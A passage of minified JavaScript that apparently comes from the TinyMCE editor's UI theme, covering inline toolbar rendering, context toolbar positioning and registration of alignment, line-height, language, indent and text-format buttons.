set$7(outerContainer.element, 'display', 'flex'); DOM.addClass(editor.getBody(), 'mce-edit-focus'); remove$6(uiMothership.element, 'display'); updateMode(false); updateChromeUi(); }; var hide = function () { visible.set(false); if (uiComponents.outerContainer) { set$7(outerContainer.element, 'display', 'none'); DOM.removeClass(editor.getBody(), 'mce-edit-focus'); } set$7(uiMothership.element, 'display', 'none'); }; return { isVisible: isVisible, isPositionedAtTop: isPositionedAtTop, show: show, hide: hide, update: updateChromeUi, updateMode: updateMode, repositionPopups: repositionPopups$1 }; }; var getTargetPosAndBounds = function (targetElm, isToolbarTop) { var bounds = box$1(targetElm); return { pos: isToolbarTop ? bounds.y : bounds.bottom, bounds: bounds }; }; var setupEvents = function (editor, targetElm, ui, toolbarPersist) { var prevPosAndBounds = Cell(getTargetPosAndBounds(targetElm, ui.isPositionedAtTop())); var resizeContent = function (e) { var _a = getTargetPosAndBounds(targetElm, ui.isPositionedAtTop()), pos = _a.pos, bounds = _a.bounds; var _b = prevPosAndBounds.get(), prevPos = _b.pos, prevBounds = _b.bounds; var hasResized = bounds.height !== prevBounds.height || bounds.width !== prevBounds.width; prevPosAndBounds.set({ pos: pos, bounds: bounds }); if (hasResized) { fireResizeContent(editor, e); } if (ui.isVisible()) { if (prevPos !== pos) { ui.update(true); } else if (hasResized) { ui.updateMode(); ui.repositionPopups(); } } }; if (!toolbarPersist) { editor.on('activate', ui.show); editor.on('deactivate', ui.hide); } editor.on('SkinLoaded ResizeWindow', function () { return ui.update(true); }); editor.on('NodeChange keydown', function (e) { global$f.requestAnimationFrame(function () { return resizeContent(e); }); }); editor.on('ScrollWindow', function () { return ui.updateMode(); }); var elementLoad = unbindable(); elementLoad.set(capture(SugarElement.fromDom(editor.getBody()), 'load', resizeContent)); editor.on('remove', function () { elementLoad.clear(); }); }; var render = function (editor, uiComponents, rawUiConfig, backstage, args) { var mothership = uiComponents.mothership, uiMothership = uiComponents.uiMothership, outerContainer = uiComponents.outerContainer; var floatContainer = Cell(null); var targetElm = SugarElement.fromDom(args.targetNode); var ui = InlineHeader(editor, targetElm, uiComponents, backstage, floatContainer); var toolbarPersist = isToolbarPersist(editor); inline(editor); var render = function () { if (floatContainer.get()) { ui.show(); return; } floatContainer.set(OuterContainer.getHeader(outerContainer).getOrDie()); var uiContainer = getUiContainer(editor); attachSystem(uiContainer, mothership); attachSystem(uiContainer, uiMothership); setToolbar(editor, uiComponents, rawUiConfig, backstage); OuterContainer.setMenubar(outerContainer, identifyMenus(editor, rawUiConfig)); ui.show(); setupEvents(editor, targetElm, ui, toolbarPersist); editor.nodeChanged(); }; var delayedRender = function () { return global$f.setEditorTimeout(editor, render, 0); }; editor.on('show', render); editor.on('hide', ui.hide); if (!toolbarPersist) { editor.on('focus', delayedRender); editor.on('blur', ui.hide); } editor.on('init', function () { if (editor.hasFocus() || toolbarPersist) { delayedRender(); } }); setupReadonlyModeSwitch(editor, uiComponents); var api = { show: function () { ui.show(); }, hide: function () { ui.hide(); }, enable: function () { broadcastReadonly(uiComponents, false); }, disable: function () { broadcastReadonly(uiComponents, true); }, isDisabled: function () { return Disabling.isDisabled(outerContainer); } }; return { editorContainer: outerContainer.element.dom, api: api }; }; var Inline = /*#__PURE__*/Object.freeze({ __proto__: null, render: render }); var showContextToolbarEvent = 'contexttoolbar-show'; var hideContextToolbarEvent = 'contexttoolbar-hide'; var getFormApi = function (input) { return { hide: function () { return emit(input, sandboxClose()); }, getValue: function () { return Representing.getValue(input); } }; }; var runOnExecute = function (memInput, original) { return run$1(internalToolbarButtonExecute, function (comp, se) { var input = memInput.get(comp); var formApi = getFormApi(input); original.onAction(formApi, se.event.buttonApi); }); }; var renderContextButton = function (memInput, button, extras) { var _a = button.original; _a.primary; var rest = __rest(_a, ['primary']); var bridged = getOrDie(createToolbarButton(__assign(__assign({}, rest), { type: 'button', onAction: noop }))); return renderToolbarButtonWith(bridged, extras.backstage.shared.providers, [runOnExecute(memInput, button)]); }; var renderContextToggleButton = function (memInput, button, extras) { var _a = button.original; _a.primary; var rest = __rest(_a, ['primary']); var bridged = getOrDie(createToggleButton(__assign(__assign({}, rest), { type: 'togglebutton', onAction: noop }))); return renderToolbarToggleButtonWith(bridged, extras.backstage.shared.providers, [runOnExecute(memInput, button)]); }; var generateOne = function (memInput, button, providersBackstage) { var extras = { backstage: { shared: { providers: providersBackstage } } }; if (button.type === 'contextformtogglebutton') { return renderContextToggleButton(memInput, button, extras); } else { return renderContextButton(memInput, button, extras); } }; var generate = function (memInput, buttons, providersBackstage) { var mementos = map$2(buttons, function (button) { return record(generateOne(memInput, button, providersBackstage)); }); var asSpecs = function () { return map$2(mementos, function (mem) { return mem.asSpec(); }); }; var findPrimary = function (compInSystem) { return findMap(buttons, function (button, i) { if (button.primary) { return Optional.from(mementos[i]).bind(function (mem) { return mem.getOpt(compInSystem); }).filter(not(Disabling.isDisabled)); } else { return Optional.none(); } }); }; return { asSpecs: asSpecs, findPrimary: findPrimary }; }; var buildInitGroups = function (ctx, providers) { var inputAttributes = ctx.label.fold(function () { return {}; }, function (label) { return { 'aria-label': label }; }); var memInput = record(Input.sketch({ inputClasses: [ 'tox-toolbar-textfield', 'tox-toolbar-nav-js' ], data: ctx.initValue(), inputAttributes: inputAttributes, selectOnFocus: true, inputBehaviours: derive$1([Keying.config({ mode: 'special', onEnter: function (input) { return commands.findPrimary(input).map(function (primary) { emitExecute(primary); return true; }); }, onLeft: function (comp, se) { se.cut(); return Optional.none(); }, onRight: function (comp, se) { se.cut(); return Optional.none(); } })]) })); var commands = generate(memInput, ctx.commands, providers); return [ { title: Optional.none(), items: [memInput.asSpec()] }, { title: Optional.none(), items: commands.asSpecs() } ]; }; var renderContextForm = function (toolbarType, ctx, providers) { return renderToolbar({ type: toolbarType, uid: generate$6('context-toolbar'), initGroups: buildInitGroups(ctx, providers), onEscape: Optional.none, cyclicKeying: true, providers: providers }); }; var ContextForm = { renderContextForm: renderContextForm, buildInitGroups: buildInitGroups }; var isVerticalOverlap = function (a, b, threshold) { if (threshold === void 0) { threshold = 0.01; } return b.bottom - a.y >= threshold && a.bottom - b.y >= threshold; }; var getRangeRect = function (rng) { var rect = rng.getBoundingClientRect(); if (rect.height <= 0 && rect.width <= 0) { var leaf$1 = leaf(SugarElement.fromDom(rng.startContainer), rng.startOffset).element; var elm = isText$1(leaf$1) ? parent(leaf$1) : Optional.some(leaf$1); return elm.filter(isElement$2).map(function (e) { return e.dom.getBoundingClientRect(); }).getOr(rect); } else { return rect; } }; var getSelectionBounds = function (editor) { var rng = editor.selection.getRng(); var rect = getRangeRect(rng); if (editor.inline) { var scroll_1 = get$9(); return bounds(scroll_1.left + rect.left, scroll_1.top + rect.top, rect.width, rect.height); } else { var bodyPos = absolute$2(SugarElement.fromDom(editor.getBody())); return bounds(bodyPos.x + rect.left, bodyPos.y + rect.top, rect.width, rect.height); } }; var getAnchorElementBounds = function (editor, lastElement) { return lastElement.filter(inBody).map(absolute$2).getOrThunk(function () { return getSelectionBounds(editor); }); }; var getHorizontalBounds = function (contentAreaBox, viewportBounds, margin) { var x = Math.max(contentAreaBox.x + margin, viewportBounds.x); var right = Math.min(contentAreaBox.right - margin, viewportBounds.right); return { x: x, width: right - x }; }; var getVerticalBounds = function (editor, contentAreaBox, viewportBounds, isToolbarLocationTop, toolbarType, margin) { var container = SugarElement.fromDom(editor.getContainer()); var header = descendant(container, '.tox-editor-header').getOr(container); var headerBox = box$1(header); var isToolbarBelowContentArea = headerBox.y >= contentAreaBox.bottom; var isToolbarAbove = isToolbarLocationTop && !isToolbarBelowContentArea; if (editor.inline && isToolbarAbove) { return { y: Math.max(headerBox.bottom + margin, viewportBounds.y), bottom: viewportBounds.bottom }; } if (editor.inline && !isToolbarAbove) { return { y: viewportBounds.y, bottom: Math.min(headerBox.y - margin, viewportBounds.bottom) }; } var containerBounds = toolbarType === 'line' ? box$1(container) : contentAreaBox; if (isToolbarAbove) { return { y: Math.max(headerBox.bottom + margin, viewportBounds.y), bottom: Math.min(containerBounds.bottom - margin, viewportBounds.bottom) }; } return { y: Math.max(containerBounds.y + margin, viewportBounds.y), bottom: Math.min(headerBox.y - margin, viewportBounds.bottom) }; }; var getContextToolbarBounds = function (editor, sharedBackstage, toolbarType, margin) { if (margin === void 0) { margin = 0; } var viewportBounds = getBounds$3(window); var contentAreaBox = box$1(SugarElement.fromDom(editor.getContentAreaContainer())); var toolbarOrMenubarEnabled = isMenubarEnabled(editor) || isToolbarEnabled(editor) || isMultipleToolbars(editor); var _a = getHorizontalBounds(contentAreaBox, viewportBounds, margin), x = _a.x, width = _a.width; if (editor.inline && !toolbarOrMenubarEnabled) { return bounds(x, viewportBounds.y, width, viewportBounds.height); } else { var isToolbarTop = sharedBackstage.header.isPositionedAtTop(); var _b = getVerticalBounds(editor, contentAreaBox, viewportBounds, isToolbarTop, toolbarType, margin), y = _b.y, bottom = _b.bottom; return bounds(x, y, width, bottom - y); } }; var bubbleSize$1 = 12; var bubbleAlignments$1 = { valignCentre: [], alignCentre: [], alignLeft: ['tox-pop--align-left'], alignRight: ['tox-pop--align-right'], right: ['tox-pop--right'], left: ['tox-pop--left'], bottom: ['tox-pop--bottom'], top: ['tox-pop--top'], inset: ['tox-pop--inset'] }; var anchorOverrides = { maxHeightFunction: expandable$1(), maxWidthFunction: expandable() }; var isEntireElementSelected = function (editor, elem) { var rng = editor.selection.getRng(); var leaf$1 = leaf(SugarElement.fromDom(rng.startContainer), rng.startOffset); return rng.startContainer === rng.endContainer && rng.startOffset === rng.endOffset - 1 && eq(leaf$1.element, elem); }; var preservePosition = function (elem, position, f) { var currentPosition = getRaw(elem, 'position'); set$7(elem, 'position', position); var result = f(elem); currentPosition.each(function (pos) { return set$7(elem, 'position', pos); }); return result; }; var shouldUseInsetLayouts = function (position) { return position === 'node'; }; var determineInsetLayout = function (editor, contextbar, elem, data, bounds) { var selectionBounds = getSelectionBounds(editor); var isSameAnchorElement = data.lastElement().exists(function (prev) { return eq(elem, prev); }); if (isEntireElementSelected(editor, elem)) { return isSameAnchorElement ? preserve : north; } else if (isSameAnchorElement) { return preservePosition(contextbar, data.getMode(), function () { var isOverlapping = isVerticalOverlap(selectionBounds, box$1(contextbar)); return isOverlapping && !data.isReposition() ? flip$2 : preserve; }); } else { var yBounds = data.getMode() === 'fixed' ? bounds.y + get$9().top : bounds.y; var contextbarHeight = get$b(contextbar) + bubbleSize$1; return yBounds + contextbarHeight <= selectionBounds.y ? north : south; } }; var getAnchorSpec$2 = function (editor, mobile, data, position) { var smartInsetLayout = function (elem) { return function (anchor, element, bubbles, placee, bounds) { var layout = determineInsetLayout(editor, placee, elem, data, bounds); var newAnchor = __assign(__assign({}, anchor), { y: bounds.y, height: bounds.height }); return __assign(__assign({}, layout(newAnchor, element, bubbles, placee, bounds)), { alwaysFit: true }); }; }; var getInsetLayouts = function (elem) { return shouldUseInsetLayouts(position) ? [smartInsetLayout(elem)] : []; }; var desktopAnchorSpecLayouts = { onLtr: function (elem) { return [ north$2, south$2, northeast$2, southeast$2, northwest$2, southwest$2 ].concat(getInsetLayouts(elem)); }, onRtl: function (elem) { return [ north$2, south$2, northwest$2, southwest$2, northeast$2, southeast$2 ].concat(getInsetLayouts(elem)); } }; var mobileAnchorSpecLayouts = { onLtr: function (elem) { return [ south$2, southeast$2, southwest$2, northeast$2, northwest$2, north$2 ].concat(getInsetLayouts(elem)); }, onRtl: function (elem) { return [ south$2, southwest$2, southeast$2, northwest$2, northeast$2, north$2 ].concat(getInsetLayouts(elem)); } }; return mobile ? mobileAnchorSpecLayouts : desktopAnchorSpecLayouts; }; var getAnchorLayout = function (editor, position, isTouch, data) { if (position === 'line') { return { bubble: nu$5(bubbleSize$1, 0, bubbleAlignments$1), layouts: { onLtr: function () { return [east$2]; }, onRtl: function () { return [west$2]; } }, overrides: anchorOverrides }; } else { return { bubble: nu$5(0, bubbleSize$1, bubbleAlignments$1, 1 / bubbleSize$1), layouts: getAnchorSpec$2(editor, isTouch, data, position), overrides: anchorOverrides }; } }; var matchTargetWith = function (elem, candidates) { var ctxs = filter$2(candidates, function (toolbarApi) { return toolbarApi.predicate(elem.dom); }); var _a = partition$3(ctxs, function (t) { return t.type === 'contexttoolbar'; }), pass = _a.pass, fail = _a.fail; return { contextToolbars: pass, contextForms: fail }; }; var filterByPositionForStartNode = function (toolbars) { if (toolbars.length <= 1) { return toolbars; } else { var doesPositionExist = function (value) { return exists(toolbars, function (t) { return t.position === value; }); }; var filterToolbarsByPosition = function (value) { return filter$2(toolbars, function (t) { return t.position === value; }); }; var hasSelectionToolbars = doesPositionExist('selection'); var hasNodeToolbars = doesPositionExist('node'); if (hasSelectionToolbars || hasNodeToolbars) { if (hasNodeToolbars && hasSelectionToolbars) { var nodeToolbars = filterToolbarsByPosition('node'); var selectionToolbars = map$2(filterToolbarsByPosition('selection'), function (t) { return __assign(__assign({}, t), { position: 'node' }); }); return nodeToolbars.concat(selectionToolbars); } else { return hasSelectionToolbars ? filterToolbarsByPosition('selection') : filterToolbarsByPosition('node'); } } else { return filterToolbarsByPosition('line'); } } }; var filterByPositionForAncestorNode = function (toolbars) { if (toolbars.length <= 1) { return toolbars; } else { var findPosition_1 = function (value) { return find$5(toolbars, function (t) { return t.position === value; }); }; var basePosition = findPosition_1('selection').orThunk(function () { return findPosition_1('node'); }).orThunk(function () { return findPosition_1('line'); }).map(function (t) { return t.position; }); return basePosition.fold(function () { return []; }, function (pos) { return filter$2(toolbars, function (t) { return t.position === pos; }); }); } }; var matchStartNode = function (elem, nodeCandidates, editorCandidates) { var nodeMatches = matchTargetWith(elem, nodeCandidates); if (nodeMatches.contextForms.length > 0) { return Optional.some({ elem: elem, toolbars: [nodeMatches.contextForms[0]] }); } else { var editorMatches = matchTargetWith(elem, editorCandidates); if (editorMatches.contextForms.length > 0) { return Optional.some({ elem: elem, toolbars: [editorMatches.contextForms[0]] }); } else if (nodeMatches.contextToolbars.length > 0 || editorMatches.contextToolbars.length > 0) { var toolbars = filterByPositionForStartNode(nodeMatches.contextToolbars.concat(editorMatches.contextToolbars)); return Optional.some({ elem: elem, toolbars: toolbars }); } else { return Optional.none(); } } }; var matchAncestor = function (isRoot, startNode, scopes) { if (isRoot(startNode)) { return Optional.none(); } else { return ancestor$2(startNode, function (ancestorElem) { if (isElement$2(ancestorElem)) { var _a = matchTargetWith(ancestorElem, scopes.inNodeScope), contextToolbars = _a.contextToolbars, contextForms = _a.contextForms; var toolbars = contextForms.length > 0 ? contextForms : filterByPositionForAncestorNode(contextToolbars); return toolbars.length > 0 ? Optional.some({ elem: ancestorElem, toolbars: toolbars }) : Optional.none(); } else { return Optional.none(); } }, isRoot); } }; var lookup$1 = function (scopes, editor) { var rootElem = SugarElement.fromDom(editor.getBody()); var isRoot = function (elem) { return eq(elem, rootElem); }; var isOutsideRoot = function (startNode) { return !isRoot(startNode) && !contains(rootElem, startNode); }; var startNode = SugarElement.fromDom(editor.selection.getNode()); if (isOutsideRoot(startNode)) { return Optional.none(); } return matchStartNode(startNode, scopes.inNodeScope, scopes.inEditorScope).orThunk(function () { return matchAncestor(isRoot, startNode, scopes); }); }; var categorise = function (contextToolbars, navigate) { var forms = {}; var inNodeScope = []; var inEditorScope = []; var formNavigators = {}; var lookupTable = {}; var registerForm = function (key, toolbarSpec) { var contextForm = getOrDie(createContextForm(toolbarSpec)); forms[key] = contextForm; contextForm.launch.map(function (launch) { formNavigators['form:' + key + ''] = __assign(__assign({}, toolbarSpec.launch), { type: launch.type === 'contextformtogglebutton' ? 'togglebutton' : 'button', onAction: function () { navigate(contextForm); } }); }); if (contextForm.scope === 'editor') { inEditorScope.push(contextForm); } else { inNodeScope.push(contextForm); } lookupTable[key] = contextForm; }; var registerToolbar = function (key, toolbarSpec) { createContextToolbar(toolbarSpec).each(function (contextToolbar) { if (toolbarSpec.scope === 'editor') { inEditorScope.push(contextToolbar); } else { inNodeScope.push(contextToolbar); } lookupTable[key] = contextToolbar; }); }; var keys$1 = keys(contextToolbars); each$1(keys$1, function (key) { var toolbarApi = contextToolbars[key]; if (toolbarApi.type === 'contextform') { registerForm(key, toolbarApi); } else if (toolbarApi.type === 'contexttoolbar') { registerToolbar(key, toolbarApi); } }); return { forms: forms, inNodeScope: inNodeScope, inEditorScope: inEditorScope, lookupTable: lookupTable, formNavigators: formNavigators }; }; var forwardSlideEvent = generate$6('forward-slide'); var backSlideEvent = generate$6('backward-slide'); var changeSlideEvent = generate$6('change-slide-event'); var resizingClass = 'tox-pop--resizing'; var renderContextToolbar = function (spec) { var stack = Cell([]); return InlineView.sketch({ dom: { tag: 'div', classes: ['tox-pop'] }, fireDismissalEventInstead: { event: 'doNotDismissYet' }, onShow: function (comp) { stack.set([]); InlineView.getContent(comp).each(function (c) { remove$6(c.element, 'visibility'); }); remove$2(comp.element, resizingClass); remove$6(comp.element, 'width'); }, inlineBehaviours: derive$1([ config('context-toolbar-events', [ runOnSource(transitionend(), function (comp, se) { if (se.event.raw.propertyName === 'width') { remove$2(comp.element, resizingClass); remove$6(comp.element, 'width'); } }), run$1(changeSlideEvent, function (comp, se) { var elem = comp.element; remove$6(elem, 'width'); var currentWidth = get$a(elem); InlineView.setContent(comp, se.event.contents); add$2(elem, resizingClass); var newWidth = get$a(elem); set$7(elem, 'width', currentWidth + 'px'); InlineView.getContent(comp).each(function (newContents) { se.event.focus.bind(function (f) { focus$3(f); return search(elem); }).orThunk(function () { Keying.focusIn(newContents); return active(getRootNode(elem)); }); }); global$f.setTimeout(function () { set$7(comp.element, 'width', newWidth + 'px'); }, 0); }), run$1(forwardSlideEvent, function (comp, se) { InlineView.getContent(comp).each(function (oldContents) { stack.set(stack.get().concat([{ bar: oldContents, focus: active(getRootNode(comp.element)) }])); }); emitWith(comp, changeSlideEvent, { contents: se.event.forwardContents, focus: Optional.none() }); }), run$1(backSlideEvent, function (comp, _se) { last$2(stack.get()).each(function (last) { stack.set(stack.get().slice(0, stack.get().length - 1)); emitWith(comp, changeSlideEvent, { contents: premade(last.bar), focus: last.focus }); }); }) ]), Keying.config({ mode: 'special', onEscape: function (comp) { return last$2(stack.get()).fold(function () { return spec.onEscape(); }, function (_) { emit(comp, backSlideEvent); return Optional.some(true); }); } }) ]), lazySink: function () { return Result.value(spec.sink); } }); }; var transitionClass = 'tox-pop--transition'; var register$7 = function (editor, registryContextToolbars, sink, extras) { var backstage = extras.backstage; var sharedBackstage = backstage.shared; var isTouch = detect$1().deviceType.isTouch; var lastElement = value$1(); var lastTrigger = value$1(); var lastContextPosition = value$1(); var contextbar = build$1(renderContextToolbar({ sink: sink, onEscape: function () { editor.focus(); return Optional.some(true); } })); var getBounds = function () { var position = lastContextPosition.get().getOr('node'); var margin = shouldUseInsetLayouts(position) ? 1 : 0; return getContextToolbarBounds(editor, sharedBackstage, position, margin); }; var canLaunchToolbar = function () { return !editor.removed && !(isTouch() && backstage.isContextMenuOpen()); }; var isSameLaunchElement = function (elem) { return is$1(lift2(elem, lastElement.get(), eq), true); }; var shouldContextToolbarHide = function () { if (!canLaunchToolbar()) { return true; } else { var contextToolbarBounds = getBounds(); var anchorBounds = is$1(lastContextPosition.get(), 'node') ? getAnchorElementBounds(editor, lastElement.get()) : getSelectionBounds(editor); return contextToolbarBounds.height <= 0 || !isVerticalOverlap(anchorBounds, contextToolbarBounds); } }; var close = function () { lastElement.clear(); lastTrigger.clear(); lastContextPosition.clear(); InlineView.hide(contextbar); }; var hideOrRepositionIfNecessary = function () { if (InlineView.isOpen(contextbar)) { var contextBarEle = contextbar.element; remove$6(contextBarEle, 'display'); if (shouldContextToolbarHide()) { set$7(contextBarEle, 'display', 'none'); } else { lastTrigger.set(0); InlineView.reposition(contextbar); } } }; var wrapInPopDialog = function (toolbarSpec) { return { dom: { tag: 'div', classes: ['tox-pop__dialog'] }, components: [toolbarSpec], behaviours: derive$1([ Keying.config({ mode: 'acyclic' }), config('pop-dialog-wrap-events', [ runOnAttached(function (comp) { editor.shortcuts.add('ctrl+F9', 'focus statusbar', function () { return Keying.focusIn(comp); }); }), runOnDetached(function (_comp) { editor.shortcuts.remove('ctrl+F9'); }) ]) ]) }; }; var getScopes = cached(function () { return categorise(registryContextToolbars, function (toolbarApi) { var alloySpec = buildToolbar([toolbarApi]); emitWith(contextbar, forwardSlideEvent, { forwardContents: wrapInPopDialog(alloySpec) }); }); }); var buildContextToolbarGroups = function (allButtons, ctx) { return identifyButtons(editor, { buttons: allButtons, toolbar: ctx.items, allowToolbarGroups: false }, extras, Optional.some(['form:'])); }; var buildContextFormGroups = function (ctx, providers) { return ContextForm.buildInitGroups(ctx, providers); }; var buildToolbar = function (toolbars) { var buttons = editor.ui.registry.getAll().buttons; var scopes = getScopes(); var allButtons = __assign(__assign({}, buttons), scopes.formNavigators); var toolbarType = getToolbarMode(editor) === ToolbarMode.scrolling ? ToolbarMode.scrolling : ToolbarMode.default; var initGroups = flatten(map$2(toolbars, function (ctx) { return ctx.type === 'contexttoolbar' ? buildContextToolbarGroups(allButtons, ctx) : buildContextFormGroups(ctx, sharedBackstage.providers); })); return renderToolbar({ type: toolbarType, uid: generate$6('context-toolbar'), initGroups: initGroups, onEscape: Optional.none, cyclicKeying: true, providers: sharedBackstage.providers }); }; var getAnchor = function (position, element) { var anchorage = position === 'node' ? sharedBackstage.anchors.node(element) : sharedBackstage.anchors.cursor(); var anchorLayout = getAnchorLayout(editor, position, isTouch(), { lastElement: lastElement.get, isReposition: function () { return is$1(lastTrigger.get(), 0); }, getMode: function () { return Positioning.getMode(sink); } }); return deepMerge(anchorage, anchorLayout); }; var launchContext = function (toolbarApi, elem) { launchContextToolbar.cancel(); if (!canLaunchToolbar()) { return; } var toolbarSpec = buildToolbar(toolbarApi); var position = toolbarApi[0].position; var anchor = getAnchor(position, elem); lastContextPosition.set(position); lastTrigger.set(1); var contextBarEle = contextbar.element; remove$6(contextBarEle, 'display'); if (!isSameLaunchElement(elem)) { remove$2(contextBarEle, transitionClass); Positioning.reset(sink, contextbar); } InlineView.showWithinBounds(contextbar, wrapInPopDialog(toolbarSpec), { anchor: anchor, transition: { classes: [transitionClass], mode: 'placement' } }, function () { return Optional.some(getBounds()); }); elem.fold(lastElement.clear, lastElement.set); if (shouldContextToolbarHide()) { set$7(contextBarEle, 'display', 'none'); } }; var launchContextToolbar = last(function () { if (!editor.hasFocus() || editor.removed) { return; } if (has(contextbar.element, transitionClass)) { launchContextToolbar.throttle(); } else { var scopes = getScopes(); lookup$1(scopes, editor).fold(close, function (info) { launchContext(info.toolbars, Optional.some(info.elem)); }); } }, 17); editor.on('init', function () { editor.on('remove', close); editor.on('ScrollContent ScrollWindow ObjectResized ResizeEditor longpress', hideOrRepositionIfNecessary); editor.on('click keyup focus SetContent', launchContextToolbar.throttle); editor.on(hideContextToolbarEvent, close); editor.on(showContextToolbarEvent, function (e) { var scopes = getScopes(); get$e(scopes.lookupTable, e.toolbarKey).each(function (ctx) { launchContext([ctx], someIf(e.target !== editor, e.target)); InlineView.getContent(contextbar).each(Keying.focusIn); }); }); editor.on('focusout', function (_e) { global$f.setEditorTimeout(editor, function () { if (search(sink.element).isNone() && search(contextbar.element).isNone()) { close(); } }, 0); }); editor.on('SwitchMode', function () { if (editor.mode.isReadOnly()) { close(); } }); editor.on('AfterProgressState', function (event) { if (event.state) { close(); } else if (editor.hasFocus()) { launchContextToolbar.throttle(); } }); editor.on('NodeChange', function (_e) { search(contextbar.element).fold(launchContextToolbar.throttle, noop); }); }); }; var register$6 = function (editor) { var alignToolbarButtons = [ { name: 'alignleft', text: 'Align left', cmd: 'JustifyLeft', icon: 'align-left' }, { name: 'aligncenter', text: 'Align center', cmd: 'JustifyCenter', icon: 'align-center' }, { name: 'alignright', text: 'Align right', cmd: 'JustifyRight', icon: 'align-right' }, { name: 'alignjustify', text: 'Justify', cmd: 'JustifyFull', icon: 'align-justify' } ]; each$1(alignToolbarButtons, function (item) { editor.ui.registry.addToggleButton(item.name, { tooltip: item.text, icon: item.icon, onAction: onActionExecCommand(editor, item.cmd), onSetup: onSetupFormatToggle(editor, item.name) }); }); editor.ui.registry.addButton('alignnone', { tooltip: 'No alignment', icon: 'align-none', onAction: onActionExecCommand(editor, 'JustifyNone') }); }; var units = { unsupportedLength: [ 'em', 'ex', 'cap', 'ch', 'ic', 'rem', 'lh', 'rlh', 'vw', 'vh', 'vi', 'vb', 'vmin', 'vmax', 'cm', 'mm', 'Q', 'in', 'pc', 'pt', 'px' ], fixed: [ 'px', 'pt' ], relative: ['%'], empty: [''] }; var pattern = function () { var decimalDigits = '[0-9]+'; var signedInteger = '[+-]?' + decimalDigits; var exponentPart = '[eE]' + signedInteger; var dot = '\\.'; var opt = function (input) { return '(?:' + input + ')?'; }; var unsignedDecimalLiteral = [ 'Infinity', decimalDigits + dot + opt(decimalDigits) + opt(exponentPart), dot + decimalDigits + opt(exponentPart), decimalDigits + opt(exponentPart) ].join('|'); var float = '[+-]?(?:' + unsignedDecimalLiteral + ')'; return new RegExp('^(' + float + ')(.*)$'); }(); var isUnit = function (unit, accepted) { return exists(accepted, function (acc) { return exists(units[acc], function (check) { return unit === check; }); }); }; var parse = function (input, accepted) { var match = Optional.from(pattern.exec(input)); return match.bind(function (array) { var value = Number(array[1]); var unitRaw = array[2]; if (isUnit(unitRaw, accepted)) { return Optional.some({ value: value, unit: unitRaw }); } else { return Optional.none(); } }); }; var normalise = function (input, accepted) { return parse(input, accepted).map(function (_a) { var value = _a.value, unit = _a.unit; return value + unit; }); }; var registerController = function (editor, spec) { var getMenuItems = function () { var options = spec.getOptions(editor); var initial = spec.getCurrent(editor).map(spec.hash); var current = value$1(); return map$2(options, function (value) { return { type: 'togglemenuitem', text: spec.display(value), onSetup: function (api) { var setActive = function (active) { if (active) { current.on(function (oldApi) { return oldApi.setActive(false); }); current.set(api); } api.setActive(active); }; setActive(is$1(initial, spec.hash(value))); var unbindWatcher = spec.watcher(editor, value, setActive); return function () { current.clear(); unbindWatcher(); }; }, onAction: function () { return spec.setCurrent(editor, value); } }; }); }; editor.ui.registry.addMenuButton(spec.name, { tooltip: spec.text, icon: spec.icon, fetch: function (callback) { return callback(getMenuItems()); }, onSetup: spec.onToolbarSetup }); editor.ui.registry.addNestedMenuItem(spec.name, { type: 'nestedmenuitem', text: spec.text, getSubmenuItems: getMenuItems, onSetup: spec.onMenuSetup }); }; var lineHeightSpec = { name: 'lineheight', text: 'Line height', icon: 'line-height', getOptions: getLineHeightFormats, hash: function (input) { return normalise(input, [ 'fixed', 'relative', 'empty' ]).getOr(input); }, display: identity$1, watcher: function (editor, value, callback) { return editor.formatter.formatChanged('lineheight', callback, false, { value: value }).unbind; }, getCurrent: function (editor) { return Optional.from(editor.queryCommandValue('LineHeight')); }, setCurrent: function (editor, value) { return editor.execCommand('LineHeight', false, value); } }; var languageSpec = function (editor) { var settingsOpt = Optional.from(getContentLanguages(editor)); return settingsOpt.map(function (settings) { return { name: 'language', text: 'Language', icon: 'language', getOptions: constant$1(settings), hash: function (input) { return isUndefined(input.customCode) ? input.code : input.code + '/' + input.customCode; }, display: function (input) { return input.title; }, watcher: function (editor, value, callback) { return editor.formatter.formatChanged('lang', callback, false, { value: value.code, customValue: value.customCode }).unbind; }, getCurrent: function (editor) { var node = SugarElement.fromDom(editor.selection.getNode()); return closest$4(node, function (n) { return Optional.some(n).filter(isElement$2).bind(function (ele) { var codeOpt = getOpt(ele, 'lang'); return codeOpt.map(function (code) { var customCode = getOpt(ele, 'data-mce-lang').getOrUndefined(); return { code: code, customCode: customCode, title: '' }; }); }); }); }, setCurrent: function (editor, lang) { return editor.execCommand('Lang', false, lang); }, onToolbarSetup: function (api) { var unbinder = unbindable(); api.setActive(editor.formatter.match('lang', {}, undefined, true)); unbinder.set(editor.formatter.formatChanged('lang', api.setActive, true)); return unbinder.clear; } }; }); }; var register$5 = function (editor) { registerController(editor, lineHeightSpec); languageSpec(editor).each(function (spec) { return registerController(editor, spec); }); }; var register$4 = function (editor, backstage) { alignSelectMenu(editor, backstage); fontSelectMenu(editor, backstage); styleSelectMenu(editor, backstage); formatSelectMenu(editor, backstage); fontsizeSelectMenu(editor, backstage); }; var onSetupOutdentState = function (editor) { return onSetupEvent(editor, 'NodeChange', function (api) { api.setDisabled(!editor.queryCommandState('outdent')); }); }; var registerButtons$2 = function (editor) { editor.ui.registry.addButton('outdent', { tooltip: 'Decrease indent', icon: 'outdent', onSetup: onSetupOutdentState(editor), onAction: onActionExecCommand(editor, 'outdent') }); editor.ui.registry.addButton('indent', { tooltip: 'Increase indent', icon: 'indent', onAction: onActionExecCommand(editor, 'indent') }); }; var register$3 = function (editor) { registerButtons$2(editor); }; var onActionToggleFormat = function (editor, fmt) { return function () { editor.execCommand('mceToggleFormat', false, fmt); }; }; var registerFormatButtons = function (editor) { global$5.each([ { name: 'bold', text: 'Bold', icon: 'bold' }, { name: 'italic', text: 'Italic', icon: 'italic' }, { name: 'underline', text: 'Underline', icon: 'underline' }, { name: 'strikethrough', text: 'Strikethrough', icon: 'strike-through' }, { name: 'subscript', text: 'Subscript', icon: 'subscript' }, { name: 'superscript', text: 'Superscript', icon: 'superscript' } ], function (btn, _idx) { editor.ui.registry.addToggleButton(btn.name, { tooltip: btn.text, icon: btn.icon, onSetup: onSetupFormatToggle(editor, btn.name), onAction: onActionToggleFormat(editor, btn.name) }); }); for (var i = 1; i <= 6; i++) { var name_1 = 'h' + i; editor.ui.registry.addToggleButton(name_1, { text: name_1.toUpperCase(), tooltip: 'Heading ' + i, onSetup: onSetupFormatToggle(editor, name_1), onAction: onActionToggleFormat(editor, name_1) }); } }; var registerCommandButtons = function (editor) { global$5.each([ { name: 'cut', text: 'Cut', action: 